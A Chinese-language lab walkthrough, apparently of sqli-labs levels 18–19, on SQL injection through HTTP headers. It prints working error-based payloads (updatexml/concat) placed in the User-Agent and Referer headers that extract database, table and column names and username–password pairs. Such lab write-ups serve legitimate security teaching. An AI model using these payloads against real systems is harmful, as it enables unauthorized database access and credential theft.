HTTP头注入
常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
HTTP Referer是header头的一部分,从哪个网页了链接过来的
X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上
COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP
Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
本关卡是模拟登录情况下的注入。我们需要先登录一个账号,这里我以admin,admin为列。
登入后页面回显IP和User-Agent,抓包在bp中进行测试
less-18
抓包
HTTP报文如上图,在实际的环境中,如果我们没有获取到网站源码,进行黑盒测试,就需要对每一个注入点进行测试,而在这个模拟环境中,我们知道源码,所以可以直接白盒测试。
源码
从源代码中我们可以看到POST的uname和passwd都做了check_input()处理,,所以表单不存在注入点。在登录成功后,Insert语句出错还会返回mysql的错误信息。
不论是否登录成功,都会回显IP。
登陆成功后回显uagent,并将uagent、IP、uname插入到security数据库的uagents表的uagent、ip_address、username三个字段中。
而且这里要输入正确的账号和密码才能绕过账号密码判断,进入处理User-Agent部分。这跟现实中的注册登录再注入是比较贴合。所以注入点就在User-Agent处,且是单引号型报错注入。
接下来开始注入
构造payload
源码insert语句为
INSERT INTO
security
.uagents
(uagent
,ip_address
,username
) VALUES (‘ u a g e n t ′ , ′ uagent', ' uagent′,′IP’, $uname)
所以我们构造
1’,2,3) #
闭合方式。不能使用--
来注释,这是HTTP报文,不是URL,URL解释+为空格
1’ or updatexml(1,concat(0x7e,(select database())) or ',3) ,2,3) #
因为插入语句使用or来连接
得到数据库名
爆表
。’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or ',2,3) #
爆列
User-Agent:
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or ',2,3) #
数据
User-Agent:’ or updatexml(1,concat(0x7e,substring((select group_concat(username,‘-’,password) from security.users),30,30)),3) or ',2,3) #
,因为报错回显只能有32个字符,使用sustring函数,通过修改substring的值,来获取所有数据
less-19
登入进去,页面回显IP和Referer
根据上一关,此次使用Referer来进行报错注入
使用方法与上一关一样,只不过将User-Agent的位置变成了Referer。
库名
Referer:
' or updatexml(1,concat(0x7e,(select database())),3) or',1,1) #
表名
Referer:
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or',1,1) #
列名
Referer:
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) or',1,1) #
数据
Referer:
' or updatexml(1,concat(0x7e,substring((select group_concat(username,':',password) from security.users),1,30)),3) or',1,1) #
方法同less-18